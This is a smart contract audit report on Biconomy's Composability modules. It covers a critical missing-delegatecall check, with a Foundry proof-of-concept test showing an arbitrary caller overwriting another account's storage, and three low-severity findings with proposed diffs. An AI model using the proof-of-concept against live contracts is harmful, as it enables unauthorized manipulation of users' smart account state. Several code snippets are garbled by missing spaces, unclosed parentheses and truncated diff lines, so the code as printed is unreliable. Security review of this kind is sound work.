# Composability Security Review

## Pashov Audit Group

Conducted by: Said, btk, Shaka, Dimah, AbinashBurman, zuhaibmohd

March 22nd 2025 - March 25th 2025

# Contents

# 1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

# 2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

# 3. Introduction

A time-boxed security review of the **bcnmy/composability** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

# 4. About Composability

Biconomy Composability is a modular smart contract framework that enables developers to build dynamic, multi-step transactions directly from frontend code, supporting features like chained actions, type-safe inputs, return value handling, and constraint validation without requiring on-chain development.

## 5. Risk Classification

| **Severity** | **Impact: High** | **Impact: Medium** | **Impact: Low** |
|---|---|---|---|
| Likelihood: High | Critical | High | Medium |
| Likelihood: Medium | High | Medium | Low |
| Likelihood: Low | Medium | Low | Low |

### 5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

### 5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

## 5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

# 6. Security Assessment Summary

*review commit hash* - deb743de17369d02cd07888250291e56efcf77aa

*fixes review commit hash* - c42ded55cf153ada71c4ab50edd7a963af79b8a6

## Scope

The following smart contracts were in scope of the audit:

- `ComposableExecutionBase`
- `ComposableExecutionLib`
- `ComposableExecutionModule`
- `ComposabilityDataTypes`
- `Storage`
- `Constants`

# 7. Executive Summary

Over the course of the security review, Said, btk, Shaka, Dimah, AbinashBurman, zuhaibmohd engaged with Biconomy to review Composability. In this period of time a total of **4** issues were uncovered.

## Protocol Summary

| | |
|---|---|
| **Protocol Name** | Composability |
| **Repository** | https://github.com/bcnmy/composability |
| **Date** | March 22nd 2025 - March 25th 2025 |
| **Protocol Type** | Transaction Builder |

## Findings Count

| **Severity** | **Amount** |
|---|---|
| Critical | 1 |
| Low | 3 |
| **Total Findings** | **4** |

## Summary of Findings

| **ID** | **Title** | **Severity** | **Status** |
|---|---|---|---|
| [C-01] | Missing DelegateCall Check | Critical | Resolved |
| [L-01] | Push0 opcode unsupported across all EVM networks | Low | Acknowledged |
| [L-02] | Some networks do not support hardcoded entry point address | Low | Resolved |
| [L-03] | Composable delegate call may break storage layout assumptions | Low | Acknowledged |

# 8. Findings

## 8.1. Critical Findings

## [C-01] Missing DelegateCall Check

### Severity

**Impact:** High

**Likelihood:** High

### Description

`executeComposableDelegateCall` is a function that allows accounts with the `ComposableExecutionModule` installed to use this functionality via `execute` with `CALLTYPE_DELEGATECALL`.

```
function executeComposableDelegateCall
      (ComposableExecution[] calldata executions) external {
        _executeComposable(executions, address
          (this), _executeExecutionDelegatecall);
    }
```

```
function _executeExecutionDelegatecall(
      ComposableExecutioncalldataexecution,
      bytesmemorycomposedCalldata
    ) internal returns (bytes[] memory returnData
        returnData = new bytes[](1);
        returnData[0] = _execute
          (execution.to, execution.value, composedCalldata);
    }
```

```
function _execute(
      addresstarget,
      uint256value,
      bytesmemorycallData
    ) internal virtual returns (bytes memory result
        /// @solidity memory-safe-assembly
        assembly {
            result := mload(0x40)
            if iszero(call(gas(), target, value, add(callData, 0x20), mload
              (callData), codesize(), 0x00)) {
                // Bubble up the revert if the call reverts.
                returndatacopy(result, 0x00, returndatasize())
                revert(result, returndatasize())
            }
            mstore(result, returndatasize()) // Store the length.
            let o := add(result, 0x20)
            returndatacopy(o, 0x00, returndatasize()) // Copy the returndata.
            mstore(0x40, add(o, returndatasize())) // Allocate the memory.
        }
    }
```

However, this function does not ensure that it is called via a delegate call. An attacker can create an `executeFromExecutor` request to a target smart account that has the `ComposableExecutionModule` installed and call `executeComposableDelegateCall` on the module, allowing the attacker to perform unrestricted operations on the smart account.

Another scenario is where an attacker can manipulate `Storage` data by directly performing `writeStorage` inside the execution.

PoC :

```
function test_change_storage_data() public {
        address alice = address(0xabcd);
        // via composability module
        _inputStaticCallOutputExecResult(address(mockAccountFallback), address
          (composabilityHandler));

        // previous slot b value
        bytes32 namespace = storageContract.getNamespace(address
          (mockAccountFallback), address(composabilityHandler));
        bytes32 SLOT_B_0 = keccak256(abi.encodePacked(SLOT_B, uint256(0)));
        bytes32 storedValueB = storageContract.readStorage(namespace, SLOT_B_0);
        console.logString("previous slot B value : ");
        console.logUint(uint256(storedValueB));
        // 1. call directly executeComposableDelegateCall, provide storage as
        // target and construct write storage operation
        InputParam[] memory inputParamsCall = new InputParam[](1);
        inputParamsCall[0] = InputParam({
            fetcherType: InputParamFetcherType.RAW_BYTES,
            paramData: abi.encode(SLOT_B_0, 420, address(mockAccountFallback)),
            constraints: emptyConstraints
        });

        OutputParam[] memory outputParamsCall = new OutputParam[](0);

        ComposableExecution[] memory executions = new ComposableExecution[](1);
        executions[0] = ComposableExecution({
            to: address(storageContract),
            value: 0, // no value sent
            functionSig: storageContract.writeStorage.selector,
            inputParams: inputParamsCall, // no input parameters needed
            outputParams: outputParamsCall // store output of the function A
            //() to the storage
        });

        vm.startPrank(alice);

          // Call function composability directly
        ComposableExecutionModule(address
          (composabilityHandler)).executeComposableDelegateCall(executions);

        vm.stopPrank();

        bytes32 storedValueBNew = storageContract.readStorage
          (namespace, SLOT_B_0);
        console.logString("new slot B value : ");
        console.logUint(uint256(storedValueBNew));
    }
```

Run the test :

```
forge test --match-test test_change_storage_data -vvv
```

## Recommendations

Restrict `executeComposableDelegateCall` and make sure it always performed using delegate call operation.

```
function executeComposableDelegateCall
      (ComposableExecution[] calldata executions) external {
+         require(THIS_ADDRESS != address(this), NotAllowed());
        _executeComposable(executions, address
          (this), _executeExecutionDelegatecall);
    }
```

## 8.2. Low Findings

### [L-01] Push0 opcode unsupported across all EVM networks

The project uses solc 0.8.27 and Cancun EVM version. For EVM networks that do not support the PUSH0 opcode, like Linea, the contracts might not work as expected.

As the project aims to be compatible with as many EVM networks as possible, it is recommended to ensure that the target networks support the PUSH0 opcode and, if that is not the case, change the EVM version to Paris in the `foundry.toml` configuration file.

### [L-02] Some networks do not support hardcoded entry point address

`ComposableExecutionModule` uses the hardcoded address of the entry point v0.7 to check the sender of the transaction. However, not all the networks expected to be supported use the canonical EntryPoint v0.7. This is, for example, the case of VeChain.

While smart accounts can set a specific entry point with the `onInstall()` and `setEntryPoint()` functions, this is an additional step that can be avoided by allowing to set the entry point of the network at deployment time.

These changes are proposed to allow the entry point to be set at deployment time:

```
-
-    address public constant ENTRY_POINT_V07_ADDRESS = 0x0000000071727De22E5E9d8BAf0ed
+
+    address private constant ENTRY_POINT_V07_ADDRESS = 0x0000000071727De22E5E9d8BAf0e
    address private immutable THIS_ADDRESS;
+   address public immutable ENTRY_POINT_ADDRESS;
(...)
-   constructor() {
+   constructor(address entryPoint) {
+       if (entryPoint == address(0)) {
+           ENTRY_POINT_ADDRESS = ENTRY_POINT_V07_ADDRESS;
+       } else {
+           ENTRY_POINT_ADDRESS = entryPoint;
+       }
        THIS_ADDRESS = address(this);
    }
(...)
-       require(sender == ENTRY_POINT_V07_ADDRESS ||
+               require(sender == ENTRY_POINT_ADDRESS ||
                sender == entryPoints[msg.sender] ||
                sender == msg.sender, OnlyEntryPointOrAccount());
(...)
    function getEntryPoint(address account) external view returns (address) {
-       return entryPoints[account] == address
- (0) ? ENTRY_POINT_V07_ADDRESS : entryPoints[account];
+       return entryPoints[account] == address
+ (0) ? ENTRY_POINT_ADDRESS : entryPoints[account];
    }
```

## [L-03] Composable delegate call may break storage layout assumptions

Inside `executeComposableDelegateCall`, which is expected to be called via delegate call, the caller of `Storage.writeStorage` is not `ComposableExecutionModule` but the smart account itself.

```
function _parseReturnDataAndWriteToStorage(
      uint256returnValues,
      bytesmemoryreturnData,
      addresstargetStorageContract,
      bytes32targetStorageSlot,
      addressaccount
    ) internal {
        for (uint256 i; i < returnValues; i++) {
            bytes32 value;
            assembly {
                value := mload(add(returnData, add(0x20, mul(i, 0x20))))
            }
            Storage(targetStorageContract).writeStorage({
                slot: keccak256(abi.encodePacked(targetStorageSlot, i)),
                value: value,
                account: account
            });
        }
    }
```

This affects how storage is managed in `StorageContract`, as it depends not only on `targetStorageSlot` but also on the caller of the `writeStorage` operation.

```
function writeStorage
      (bytes32 slot, bytes32 value, address account) external {
>>>     bytes32 namespace = getNamespace(account, msg.sender);
        _writeStorage(slot, value, namespace);
    }
```

This might break assumptions about the slot used for read/write operations in `Storage`. Providing the same `targetStorageSlot` and `StorageContract` in `executeComposable` and `executeComposableDelegateCall` will result in different namespace slots being used in the storage contract.

Recommendations

Create a separate function for processing outputs inside `ComposableExecutionModule`, which will be called at the end of `executeComposableDelegateCall` to process the output and safely store it.

```
function executeComposableDelegateCall
      (ComposableExecution[] calldata executions) external {
-         _executeComposable(executions, address
- (this), _executeExecutionDelegatecall);
+         _executeComposableDelegatecall(executions, address
+ (this), _executeExecutionDelegatecall);
    }
```

```
+    function _executeComposableDelegatecall(
+       ComposableExecution[] calldata executions,
+        address account,
+        function
+ (ComposableExecution calldata execution, bytes memory composedCalldata) internal ret
+    ) internal {
+
+         // we can not use erc-7579 batch mode here because we may need to compose
+
+         // the next call in the batch based on the execution result of the previous
+        uint256 length = executions.length;
+        for (uint256 i; i < length; i++) {
+            ComposableExecution calldata execution = executions[i];

+            bytes[] memory returnData;
+            if (execution.to != address(0)) {
+                returnData = executeExecutionFunction
+ (execution, composedCalldata);
+            } else {
+                returnData = new bytes[](1);
+                returnData[0] = "";
+            }
+            THIS_ADDRESS.processOutputs
+ (execution.outputParams, returnData[0], account);
+        }
+    }
```

```
+    function processOutputs
+ (OutputParam[] calldata outputParams, bytes memory returnData, address account) publ
+        require(account == msg.sender, "Not allowed");
+        outputParams.processOutputs(returnData[0], account);
+    }
```